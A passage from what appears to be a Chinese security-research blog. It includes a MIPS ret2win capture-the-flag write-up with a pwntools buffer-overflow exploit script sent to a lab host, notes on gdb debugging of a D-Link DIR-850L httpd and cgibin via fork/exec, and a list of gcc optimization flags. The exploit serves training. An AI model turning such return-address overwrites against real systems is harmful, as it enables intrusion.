puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
printf("> ");
read(0, v1, 0x38u);
return puts("Thank you!");
}

缓冲区起始地址sp+18h,ra保存在sp+3ch,因此,填充24h=36字节,随后的4个字节数据便可以覆盖掉函数返回地址。

1
.text:004008F8 sw      $ra, 0x38+var_s4($sp)

构造字符串如下,便可以覆盖掉返回地址为:dead

1
2
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaadead
*PC 0x64616564 ('dead')

通过搜索字符串,可以看到有一个函数ret2win提供了输入flag的命令,那么ROP跳转过去即可

1
2
3
4
5
int ret2win()
{
puts("Well done! Here's your flag:");
return system("/bin/cat flag.txt");
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

BINARY = "./ret2win_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

p = remote("10.0.0.2", 9999)

rop = b"A" * 36
rop += p32(ELF.symbols["ret2win"])
with open("raw", "wb") as f:
f.write(rop)
p.recv()
p.sendline(rop)
for each in p.recvlines(10):
if re.findall("ROPE", str(each)):
flag = each
break
print(flag)

在调试无符号的程序时,有时候在IDA中已经对某一个数据结构进行了符号恢复,此时想要将符号导入到gdb中。解决的办法就是:

  1. 写一个定义和使用了该数据结构的C程序
  2. 编译,且带符号
  3. 在gdb中使用add-symbol-file命令导入该程序的的符号

例如,假设有如下的一个程序,编译出来之后去掉了调试符号,则在gdb中无法打印出来list数据结构。而我们在IDA中根据上下文恢复出来了list结构体,并且在调试的过程中,还想打印出来Stulist这个链表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>

struct list {
int num;
char *name;
struct list *next;
};

struct list *Stulist;

int main() {
struct list *studentA = (struct list*)malloc(sizeof(struct list));
studentA->num = 0;
studentA->name = "studentA";
studentA->next = NULL;
Stulist = studentA;

struct list *studentB = (struct list*)malloc(sizeof(struct list));
studentB->num = 1;
studentB->name = "studentB";
studentB->next = studentA;
Stulist = studentB;

return 0;

}

那么我们首先需要做的是,根据恢复出来的数据结构重新写一个如下的定义和使用了数据结构的C程序,然后编译时带上符号:gcc -g data.c -o data

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>

struct list {
int num;
char *name;
struct list *next;
};

int main() {
struct list* test;
return 0;
}

在gdb中调试,执行命令如下:

1
2
add-symbol-file data # 从data中导入符号
p *(struct list*) 0x4052a0 # 在指定位置查看数据结构

undifined

如果我们还需要进一步打印链表Stulist的信息,可以写一个如下的gdb定义,用来遍历链表:

1
2
3
4
5
6
7
define plist
set $iter = *(struct list*)$arg0
while $iter
print $iter
set $iter = *$iter.next
end
end

undifined

参考链接

在调试dlink的httpd时,漏洞可能发生在httpd通过fork+execute调用的cgibin中,其中httpd解析网络请求中的字段,并且以环境变量的形式传递给cgibin进行处理。那么要调试cgibin就有两种方式:

  1. 设置环境变量,然后直接调试cgibin。
  2. 了解httpd是如何调用cgibin的,然后通过设置gdb调试子进程、catch exec,调试cgibin。

方法1的优点是简单直接,缺点是需要了解httpd是如何处理、传递数据到环境变量,以免使用了实际上通不过httpd校验的环境变量;方法2的优点是直观,但是需要熟练掌握gdb调试子进程相关的知识。

httpd调用CGI上下文说明

和许多典型的httpdserver一样,传入到函数process_cgi中的参数a1是httpd所定义的数据结构,其中包含了一个网络请求的数据集合,例如请求方式REQUEST_METHOD、URI、SESSION等等。a1传递到process_cgi函数中进行处理,获取到需要调用的cgi,以及将需要处理的数据转化成环境变量集合到cgi中。在dir 850l的固件中,几乎所有的cgi都是通过链接的形式到程序cgibin,cgibin根据请求的不同来采用不同的接口(函数)进行处理。

1
2
3
4
5
6
int __fastcall process_cgi(_DWORD *a1) 
{
......
v77 = spawn(*filename, filename, argv, v79, v75, v9, v8, a1 + 992);
......
}

spawn函数则是一个典型的封装了fork+execve的函数,通过fork函数创建子进程,设置子进程的进程组、资源限制、重定向输入输出等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__pid_t __fastcall spawn(const char *filename, char *const *argv, char *const *envp, int a4, int a5, int a6, int a7, char *path)
{
__pid_t result; // $v0
int v13; // $a0
int v14[4]; // [sp+18h] [-18h] BYREF
__pid_t v15; // [sp+28h] [-8h]

result = fork(); // 创建子进程,此时的子进程依旧是httpd的程序镜像
if ( result == -1 )
{
v15 = -1;
lerror("spawn: failed to create child process");
goto LABEL_6;
}
if ( !result )
{
setpgid(0, 0); // 改变子进程的进程组
sub_409C9C(13, 0);
if ( coredir )
{
v14[3] = 0;
v14[2] = 0;
v14[1] = 0;
v14[0] = 0;
setrlimit64(4, v14); // 设置资源限制
}
dup2(a4, 0); // 复制文件描述符:标准输入和标准输出
dup2(a4, 1);
if ( a5 != -1 )
dup2(a5, 2);
if ( chdir(path) == -1 )
{
v13 = 5;
}
else
{
execve(filename, argv, envp); // 执行cgibin,将cgibin加载并替换掉子进程的httpd
v13 = 6;
}
exit(v13);
}
++dword_42350C;
if ( debug )
{
v15 = result;
log_d("child process %d created", result);
LABEL_6:
result = v15;
}
return result;
}

那么到此,回想之前的标题:如何调试httpd通过execute调用的cgibin,该问题就可以抽象为:如何调试子进程中通过execute调用的可执行文件。

调试原理

默认情况下,gdb在调试多进程的时候,只会追踪父进程,例如执行完fork函数,fork的返回值是子进程的pid,gdb中实际上在调试的是父进程。如果要调试子进程,则需要在gdb中使用如下的命令:

1
set follow-fork-mode child

上面命令解决了让gdb调试到子进程,但是有时候还需要同时调试父进程和子进程,如果仅仅是gdb在子进程中,父进程依旧会正常运行。那么,就可以使用如下的命令,使得在调试子进程的时候,父进程也暂停处于挂起的状态:

1
set detach-on-fork off # 默认是on

上面两条命令结合起来就实现了同时调试父进程和子进程,那么这个时候也还有一个问题:在子进程中,execute调用cgibin是作为一个函数来实现的,单步步过该函数达不到调试目的,步进该函数更加容易陷入到函数的细节实现中。
对于调试cgibin,可以通过catch exec命令,来捕获执行新进程的事件。当进程使用execute重新执行一个程序时,gdb会中断程序的运行,到ld加载器start函数中。除此之外,还可以使用例如catch exec /bin/ls来指定需要捕获的具体进程加载程序事件。

综上所述,调试通过fork+execute调用的程序,可以使用如下步骤:

  1. 在fork的时候,执行gdb命令:set follow-fork-mode child,使得gdb开始调试子进程。
  2. 同时,可以执行gdb命令:set detach-on-fork off,让在调试子进程的同时,父进程挂起。这样执行完子进程也可以返回到父进程中。
  3. 执行gdb命令:catch exec,捕获子进程通过execute加载执行新程序的事件。

调试过程

现在回归到具体的调试过程中。
当httpd执行到调用cgi的spawn函数中,此时准备执行fork函数,可以看到只有httpd一个进程,也就是父进程PID=1444:

1
2
3
pwndbg> info inferiors
Num Description Executable
* 1 process 1444 /home/utest/app/FirmAE/firmwares/_DIR850L_FW115KRb07.bin.extracted/squashfs-root/sbin/httpd

第一步需要保证在执行到spawn的时候,fork之后是进入了子进程,

1
2
  0x409d2c <spawn+56>     move   $s3, $a2
► 0x409d30 <spawn+60> jalr $t9 <fork>

此时,执行gdb命令:

1
2
set follow-fork-mode child
set detach-on-fork off

undifined
再查看进程信息,也可以确认此时gdb处于子进程中。此时也可以通过inferiors Num切换到父进程。

1
2
3
4
pwndbg> info inferiors
Num Description Executable
1 process 1444 /home/utest/app/FirmAE/firmwares/_DIR850L_FW115KRb07.bin.extracted/squashfs-root/sbin/httpd
* 2 process 31740 /home/utest/app/FirmAE/firmwares/_DIR850L_FW115KRb07.bin.extracted/squashfs-root/sbin/httpd

继续在子进程中执行到execute函数,可以看到此时正准备加载执行/htdocs/web/session.cgi,该cgi实际上是一个链接到cgibin。

1
2
3
4
5
6
7
  0x409e68 <spawn+372>    addiu  $a0, $zero, 5
0x409e6c <spawn+376> lw $t9, -0x7d7c($gp)
0x409e70 <spawn+380> move $a0, $s2
► 0x409e74 <spawn+384> jalr $t9 <execve>
path: 0x7ed330 ◂— '/htdocs/web/session.cgi'
argv: 0x4280f0 —▸ 0x7ed330 ◂— '/htdocs/web/session.cgi'
envp: 0x0

那么此时就应该执行gdb命令:catch exec,用来捕获子进程加载cgi的事件:
undifined
这个时候可以查看栈,来看httpd传递给cgi哪些环境变量(也就是需要处理的数据):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> stack 30
00:0000│ fp sp 0x7fe2b4a0 ◂— 0x1
01:0004│ 0x7fe2b4a4 —▸ 0x7fe2bd23 ◂— '/htdocs/web/session.cgi'
02:0008│ 0x7fe2b4a8 ◂— 0x0
03:000c│ 0x7fe2b4ac —▸ 0x7fe2bd3b ◂— 'HTTP_HOST=192.168.0.1'
04:0010│ 0x7fe2b4b0 —▸ 0x7fe2bd51 ◂— 'HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0'
05:0014│ 0x7fe2b4b4 —▸ 0x7fe2bdb0 ◂— 'HTTP_ACCEPT=*/*'
06:0018│ 0x7fe2b4b8 —▸ 0x7fe2bdc0 ◂— 'HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5'
07:001c│ 0x7fe2b4bc —▸ 0x7fe2bde4 ◂— 'HTTP_ACCEPT_ENCODING=gzip, deflate'
08:0020│ 0x7fe2b4c0 —▸ 0x7fe2be07 ◂— 'HTTP_ORIGIN=http://192.168.0.1'
09:0024│ 0x7fe2b4c4 —▸ 0x7fe2be26 ◂— 'HTTP_REFERER=http://192.168.0.1/index.php'
0a:0028│ 0x7fe2b4c8 —▸ 0x7fe2be50 ◂— 'HTTP_COOKIE=uid=bjtsPYnEJz'
0b:002c│ 0x7fe2b4cc —▸ 0x7fe2be6b ◂— 'GATEWAY_INTERFACE=CGI/1.1'
0c:0030│ 0x7fe2b4d0 —▸ 0x7fe2be85 ◂— 'CONTENT_LENGTH=31'
0d:0034│ 0x7fe2b4d4 —▸ 0x7fe2be97 ◂— 'CONTENT_TYPE=application/x-www-form-urlencoded'
0e:0038│ 0x7fe2b4d8 —▸ 0x7fe2bec6 ◂— 'SCRIPT_FILENAME=/htdocs/web/session.cgi'
0f:003c│ 0x7fe2b4dc —▸ 0x7fe2beee ◂— 'REQUEST_URI=/session.cgi'
10:0040│ 0x7fe2b4e0 —▸ 0x7fe2bf07 ◂— 'REMOTE_ADDR=192.168.0.2'
11:0044│ 0x7fe2b4e4 —▸ 0x7fe2bf1f ◂— 'REMOTE_PORT=45050'
12:0048│ 0x7fe2b4e8 —▸ 0x7fe2bf31 ◂— 'REQUEST_METHOD=POST'
13:004c│ 0x7fe2b4ec —▸ 0x7fe2bf45 ◂— 'SCRIPT_NAME=/session.cgi'
14:0050│ 0x7fe2b4f0 —▸ 0x7fe2bf5e ◂— 'SERVER_NAME=192.168.0.1'
15:0054│ 0x7fe2b4f4 —▸ 0x7fe2bf76 ◂— 'SERVER_ADDR=192.168.0.1'
16:0058│ 0x7fe2b4f8 —▸ 0x7fe2bf8e ◂— 'SERVER_PORT=80'
17:005c│ 0x7fe2b4fc —▸ 0x7fe2bf9d ◂— 'SERVER_SOFTWARE=Mathopd/1.6b9'
18:0060│ 0x7fe2b500 —▸ 0x7fe2bfbb ◂— 'SERVER_ID=LAN-1'
19:0064│ 0x7fe2b504 —▸ 0x7fe2bfcb ◂— 'SERVER_PROTOCOL=HTTP/1.1'
1a:0068│ 0x7fe2b508 ◂— 0x0

以前做毕设的时候,要实现对cgi的模糊测试,就是将AFL生产的数据通过设计的数据结构转换成环境变量到cgi 中去执行。

小结

如何调试httpd使用fork+execute执行的cgibin,本质上可以抽象为:如何调试通过fork+execute调用的程序,办法是:

  1. 执行到fork函数,执行gdb命令:set follow-fork-mode child,使得gdb调试到子进程中。
  2. 执行gdb命令:set detach-on-fork off,使得gdb在调试子进程的时候挂起父进程,这样也方便并行调试。
  3. 执行到execute函数处,执行gdb命令:catch exec,捕获子进程通过execute调用执行cgi的事件。

在使用编译程序的时候,如果不启动优化选项,gcc会产生有利于调试的编译结果,例如使用gdb可以方便查看、修改源代码中的变量的值;如果启用优化选项,gcc会使用更多的编译时间和牺牲程序的可调试性为代价来提高程序的性能或者减少代码大小。

在不同的gcc版本和目标平台下,同一个优化选项所启动的优化标识集合也不一样,可以使用-Q --help=optimizers来获取相应的优化选项采用的优化标识集。在下文中的每个-f**优化标识都可以在参考链接中查询到具体的含义。

在编译源码+调试的过程中,使用到比较多的是-O0-Og两个优化选项。-O0不会启动任何优化标识,能产生有利于调试的可执行程序,但是有些时候在编译大型程序(例如我在编译libc)的时候,使用该选项会报错;-Og则是进行合理优化的程度上保证了程序的可调试性。

-O0

减少编译时间,产生方便调试的程序,是gcc的默认设置

-Og

优化调试体验。提供合理的优化级别,同时保证快速编译和良好的调试体验。有时候修改Makefile到-O0会失败,这是因为编译器在收集调试信息的时候会禁用-O0,这个时候就可以使用-Og。

-O、-O1

-O、- O1:二者是一样的,都是在不影响编译速度的前提下,采用一些优化算法来减少代码的大小和提高代码的运行速度,开启的优化选项如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
-fauto-inc-dec 
-fbranch-count-reg
-fcombine-stack-adjustments
-fcompare-elim
-fcprop-registers
-fdce
-fdefer-pop
-fdelayed-branch
-fdse
-fforward-propagate
-fguess-branch-probability
-fif-conversion
-fif-conversion2
-finline-functions-called-once
-fipa-modref
-fipa-profile
-fipa-pure-const
-fipa-reference
-fipa-reference-addressable
-fmerge-constants
-fmove-loop-invariants
-fmove-loop-stores
-fomit-frame-pointer
-freorder-blocks
-fshrink-wrap
-fshrink-wrap-separate
-fsplit-wide-types
-fssa-backprop
-fssa-phiopt
-ftree-bit-ccp
-ftree-ccp
-ftree-ch
-ftree-coalesce-vars
-ftree-copy-prop
-ftree-dce
-ftree-dominator-opts
-ftree-dse
-ftree-forwprop
-ftree-fre
-ftree-phiprop
-ftree-pta
-ftree-scev-cprop
-ftree-sink
-ftree-slsr
-ftree-sra
-ftree-ter
-funit-at-a-time

-O2

在-O的基础上优化更多的选项,会增加编译时间、提高代码的性能。新增加的优化选项如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-falign-functions  -falign-jumps 
-falign-labels -falign-loops
-fcaller-saves
-fcode-hoisting
-fcrossjumping
-fcse-follow-jumps -fcse-skip-blocks
-fdelete-null-pointer-checks
-fdevirtualize -fdevirtualize-speculatively
-fexpensive-optimizations
-ffinite-loops
-fgcse -fgcse-lm
-fhoist-adjacent-loads
-finline-functions
-finline-small-functions
-findirect-inlining
-fipa-bit-cp -fipa-cp -fipa-icf
-fipa-ra -fipa-sra -fipa-vrp
-fisolate-erroneous-paths-dereference
-flra-remat
-foptimize-sibling-calls
-foptimize-strlen
-fpartial-inlining
-fpeephole2
-freorder-blocks-algorithm=stc
-freorder-blocks-and-partition -freorder-functions
-frerun-cse-after-loop
-fschedule-insns -fschedule-insns2
-fsched-interblock -fsched-spec
-fstore-merging
-fstrict-aliasing
-fthread-jumps
-ftree-builtin-call-dce
-ftree-loop-vectorize
-ftree-pre
-ftree-slp-vectorize
-ftree-switch-conversion -ftree-tail-merge
-ftree-vrp
-fvect-cost-model=very-cheap

-O3

在-O2的优化选项基础上,采用了更多的向量化算法,利用现代CPU中的流水线、cache等特性提高代码的并行执行速度。该选项会增加代码大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
-fgcse-after-reload 
-fipa-cp-clone
-floop-interchange
-floop-unroll-and-jam
-fpeel-loops
-fpredictive-commoning
-fsplit-loops
-fsplit-paths
-ftree-loop-distribution
-ftree-partial-pre
-funswitch-loops
-fvect-cost-model=dynamic
-fversion-loops-for-strides

-Os

这个编译选项和-O3相反,-O3是牺牲代码的空间换取执行时间,-O4则是牺牲代码的执行时间降低代码大小,这在一些存储容量较少的设备中非常重要,例如嵌入式设备。
-Os也是在-O2的基础上,使用了如下的优化选项,通过优化选项可以看出是对代码的空白对齐进行了压缩之类的操作。

1
2
3
4
5
6
-falign-functions  
-falign-jumps
-falign-labels
-falign-loops
-fprefetch-loop-arrays
-freorder-blocks-algorithm=stc

-Ofast

在-O3的优化选项基础上,无视严格的标准合规性(不是很懂什么意思)

参考链接